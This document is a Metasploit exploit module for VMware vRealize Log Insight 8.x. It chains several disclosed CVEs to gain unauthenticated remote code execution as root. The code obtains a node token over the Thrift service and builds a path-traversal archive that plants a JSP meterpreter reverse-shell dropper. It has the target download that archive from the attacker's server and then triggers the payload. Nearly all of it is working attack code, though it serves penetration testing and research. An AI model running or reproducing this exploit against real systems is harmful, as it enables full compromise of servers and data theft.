VMware vRealize Log Insight Unauthenticated Remote Code Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
require 'rex/proto/thrift'  
require 'rex/stopwatch'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
include Msf::Exploit::CmdStager::HTTP  
include Msf::Exploit::Retry  
include Msf::Exploit::FileDropper # includes register_files_for_cleanup  
prepend Msf::Exploit::Remote::AutoCheck  
  
Thrift = Rex::Proto::Thrift  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'VMware vRealize Log Insight Unauthenticated RCE',  
'Description' => %q{  
VMware vRealize Log Insights versions v8.x contains multiple vulnerabilities, such as  
directory traversal, broken access control, deserialization, and information disclosure.  
When chained together, these vulnerabilities allow a remote, unauthenticated attacker to  
execute arbitrary commands on the underlying operating system as the root user.  
  
This module achieves code execution via triggering a `RemotePakDownloadCommand` command  
via the exposed thrift service after obtaining the node token by calling a `GetConfigRequest`  
thrift command. After the download, it will trigger a `PakUpgradeCommand` for processing the  
specially crafted PAK archive, which then will place the JSP payload under a certain API  
endpoint (pre-authenticated) location upon extraction for gaining remote code execution.  
  
Successfully tested against version 8.0.2.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Horizon3.ai Attack Team', # Original POC & analysis  
'Ege BALCI <egebalci[at]pm.me>', # Metasploit Module  
],  
'References' => [  
['ZDI', '23-116'],  
['ZDI', '23-115'],  
['CVE', '2022-31706'],  
['CVE', '2022-31704'],  
['CVE', '2022-31711'],  
['URL', 'https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive'],  
['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0001.html'],  
],  
'DisclosureDate' => '2023-01-24',  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_X86, ARCH_X64],  
'Privileged' => true,  
'Targets' => [  
[  
'VMware vRealize Log Insight < v8.10.2',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_X64],  
'Type' => :linux_dropper,  
'DefaultOptions' => {  
'SSL' => true,  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'PrependFork' => true  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Payload' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'WfsDelay' => 15  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(443),  
OptPort.new('THRIFT_PORT', [true, 'Thrift service port', 16520]),  
OptInt.new('THRIFT_TIMEOUT', [true, 'Timeout duration for thrift service', 10]),  
OptString.new('TARGETURI', [true, 'The URI of the VRLI web service', '/'])  
]  
)  
  
register_advanced_options(  
[  
OptInt.new('WaitForResponseTimeout', [ true, 'The timeout in seconds for RemotePakDownload response', 10 ]),  
OptInt.new('WaitForUpgradeDuration', [ true, 'The sleep duration in seconds for PakUpgrade process', 2 ])  
]  
)  
end  
  
def check  
print_status "Checking if #{peer} can be exploited."  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'i18n', 'component'),  
'method' => 'GET'  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200  
translation = JSON.parse(res.body.gsub(/^.+= /, '').gsub(/;/, ''))  
return Exploit::CheckCode::Unknown if translation.nil? || !translation.key?('version')  
  
version = Rex::Version.new(translation['version'])  
if version <= Rex::Version.new('8.10') && version >= Rex::Version.new('8.0') # This is not exactly the product version but we can use it  
return Exploit::CheckCode::Appears("VMware XRLI Version: #{translation['version']}")  
end  
  
Exploit::CheckCode::Safe  
end  
  
def generate_malicious_tar  
mf_file = <<~EOF.strip  
{  
"CHECKSUMS": [  
{  
"CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",#{' '}  
"FILE_NAME": "eula.txt"  
},#{' '}  
{  
"CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",#{' '}  
"FILE_NAME": "cn_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",#{' '}  
"FILE_NAME": "de_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",#{' '}  
"FILE_NAME": "es_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",#{' '}  
"FILE_NAME": "fr_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",#{' '}  
"FILE_NAME": "ja_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",#{' '}  
"FILE_NAME": "ko_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",#{' '}  
"FILE_NAME": "tw_eula.txt"  
},#{' '}  
{  
"CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",#{' '}  
"FILE_NAME": "upgrade-driver"  
},#{' '}  
{  
"CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",#{' '}  
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm"  
}  
],#{' '}  
"FROM_VERSION": "8.8.0-0",#{' '}  
"REQUIRED_SPACE": "1073741824",#{' '}  
"RPM_INFO": {  
"KEY_LIST": [],#{' '}  
"REBOOT": "False",#{' '}  
"RPM_LIST": [  
{  
"ARGUMENTS": [  
"--nodeps"  
],#{' '}  
"FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",#{' '}  
"OPTION": "INSTALL_OR_UPGRADE"  
}  
]  
},#{' '}  
"TO_VERSION": "8.10.2-21145187"  
}  
EOF  
  
cert_file = <<~CERT  
SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776  
-----BEGIN CERTIFICATE-----  
MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV  
BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x  
FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy  
MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD  
VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI  
hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw  
9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb  
4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay  
9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT  
W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw  
kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww  
HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd  
m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs  
aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu  
Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP  
nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69  
i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S  
fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0  
IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G  
PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG  
vSqQGIbCybw5KTCXRQ8d  
-----END CERTIFICATE-----  
CERT  
  
# Generate a TAR archive with dir traversal...  
print_status 'Encoding the payload as JSP'  
payload_jsp = Msf::Util::EXE.to_jsp(generate_payload_exe)  
jsp_name = 'api-v5-documentation.jsp' # version number can be randomized  
slip_name = "../../usr/lib/loginsight/application/3rd_party/apache-tomcat-8.5.82/webapps/ROOT/loginsight/api/#{jsp_name}"  
register_files_for_cleanup(slip_name.gsub('../..', ''))  
rand_data = Rex::Text.rand_text_alpha(35000..36000) # For realistic packet size  
dummy_files = ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt'] # Dummy but also necessary  
  
tar = StringIO.new  
Rex::Tar::Writer.new(tar) do |t|  
dummy_files.each do |dum|  
t.add_file(dum, 0o644) do |f|  
f.write(rand_data)  
end  
end  
t.add_file('VMware-vRealize-Log-Insight.cert', 0o644) do |crt| # We actually need the content of these files  
crt.write(cert_file)  
end  
t.add_file('VMware-vRealize-Log-Insight.mf', 0o644) do |mf|  
mf.write(mf_file)  
end  
t.add_file(slip_name, 0o644) do |f|  
f.write(payload_jsp)  
end  
end  
tar.seek(0)  
data = tar.read  
tar.close  
data  
end  
  
def on_request_uri(cli, _request)  
payload_tar = generate_malicious_tar  
print_status "Malicious TAR payload created (#{payload_tar.length} bytes)"  
print_good("Payload requested by #{peer}, sending...")  
@got_request = true  
send_response(cli, payload_tar)  
end  
  
def exploit  
# This is important check...  
fail_with(Failure::BadConfig, 'SRVHOST can\'t be localhost') if datastore['SRVHOST'] =~ /(127|0)\.0\.0\.(0|1)|localhost/  
  
# Step 1 generate malicious TAR archive  
file_name = Rex::Text.rand_text_alpha(7)  
pak_name = "#{file_name}.pak"  
output_file = '/dev/null'  
register_files_for_cleanup("/tmp/#{pak_name}")  
print_status('Starting Payload Server')  
start_service('Path' => "/#{file_name}.tar")  
  
# Connect to the Apache Thrift service  
@tsock = Rex::Socket.create_tcp('PeerHost' => datastore['RHOST'], 'PeerPort' => datastore['THRIFT_PORT'])  
fail_with(Failure::Unreachable, "#{peer}:#{datastore['THRIFT_PORT']} - Could not connect to the thrift service") if @tsock.nil?  
  
# Step 2 obtain node token  
print_status 'Fetching thrift config...'  
send_request([  
Thrift::ThriftHeader.new(method_name: 'getConfig', message_type: Thrift::ThriftMessageType::CALL)  
].map(&:to_binary_s).join + "\x0c\x00\x01\x00\x00")  
  
config = recv_response(datastore['THRIFT_TIMEOUT'])  
fail_with(Failure::UnexpectedReply, 'getConfig thrift call failed') if config.nil?  
token = config.match(/[0-9a-z]{8}-([0-9a-z]{4}-){3}[0-9a-z]{12}/).to_s  
fail_with(Failure::UnexpectedReply, 'Could not obtain node token') if token.nil? || token.empty?  
print_good "Obtained node token: #{token}"  
  
print_status 'Sending getNodeType...'  
send_request([  
Thrift::ThriftHeader.new(method_name: 'getNodeType', message_type: Thrift::ThriftMessageType::CALL)  
].map(&:to_binary_s).join + "\x00")  
  
# Step 3 download the malicious pak  
serve_address = "http://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['SRVPORT'])}/#{file_name}.tar"  
print_status 'Sending RemotePakDownloadCommand...'  
download_pak_req = "\x80\x01\x00\x01"  
download_pak_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43"  
download_pak_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00"  
download_pak_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01"  
download_pak_req += "\x08\x00\x01\x00\x00\x00\x09\x0c"  
download_pak_req += "\x00\x0a\x0b\x00\x01"  
download_pak_req += [token.length].pack('N') + token + "\x0b\x00\x02"  
download_pak_req += [serve_address.length].pack('N') + serve_address # "\x00\x00\x00\x24" + serve_address  
download_pak_req += "\x0b\x00\x03" + [file_name.length].pack('N') + file_name  
download_pak_req += "\x00\x00\x0a\x00\x02\x00\x00"  
download_pak_req += "\x00\x00\x00\x00\x07\xd0\x00\x00"  
send_request(download_pak_req)  
download_resp = recv_response(datastore['THRIFT_TIMEOUT'])  
fail_with(Failure::UnexpectedReply, 'RemotePakDownloadCommand thrift call failed') if download_resp.nil?  
retry_until_truthy(timeout: datastore['ReconnectTimeout'].to_i) do  
@got_request  
end  
  
# Step 4 trigger pak upgrade  
print_status 'Sending PakUpgradeCommand...'  
pak_upgrade_req = "\x80\x01\x00\x01"  
pak_upgrade_req += "\x00\x00\x00\x0a\x72\x75\x6e\x43"  
pak_upgrade_req += "\x6f\x6d\x6d\x61\x6e\x64\x00\x00"  
pak_upgrade_req += "\x00\x00\x0c\x00\x01\x0c\x00\x01"  
pak_upgrade_req += "\x08\x00\x01\x00\x00\x00\x08\x0c"  
pak_upgrade_req += "\x00\x09\x0b\x00\x01" + [pak_name.length].pack('N')  
pak_upgrade_req += pak_name + "\x02\x00\x02\x00"  
pak_upgrade_req += "\x0b\x00\x03" + [output_file.length].pack('N') + + output_file  
pak_upgrade_req += "\x02\x00\x04\x00"  
pak_upgrade_req += "\x0b\x00\x05\x00\x00\x00\x03\x65"  
pak_upgrade_req += "\x6e\x67\x02\x00\x06\x00\x00\x00"  
pak_upgrade_req += "\x0a\x00\x02\x00\x00\x00\x00\x00"  
pak_upgrade_req += "\x00\x07\xd0\x00\x00"  
send_request(pak_upgrade_req)  
upgrade_resp = recv_response(datastore['THRIFT_TIMEOUT'])  
fail_with(Failure::UnexpectedReply, 'PakUpgradeCommand thrift call failed') if upgrade_resp.nil? || !upgrade_resp.to_s =~ 'The PAK file is corrupted'  
print_good 'PakUpgrade request is successful'  
print_status "Waiting #{datastore['WaitForUpgradeDuration']} second for PakUpgrade..."  
sleep(datastore['WaitForUpgradeDuration'])  
  
# Step 5 trigger the JSP payload.  
print_status "#{peer} - Triggering JSP payload..."  
disconnect  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rest-api', 'v5'),  
'method' => 'GET'  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response (response code: #{res.code})") unless res.code == 200  
end  
  
def send_request(request)  
@tsock.put([request.length].pack('N') + request)  
end  
  
def recv_response(timeout)  
remaining = timeout  
res_size, elapsed = Rex::Stopwatch.elapsed_time do  
@tsock.timed_read(4, remaining)  
end  
  
remaining -= elapsed  
return nil if res_size.nil? || res_size.length != 4 || remaining <= 0  
  
res = @tsock.timed_read(res_size.unpack1('N'), remaining)  
  
return nil if res.nil? || res.length != res_size.unpack1('N')  
  
return res_size + res  
rescue Timeout::Error  
return nil  
end  
end  
`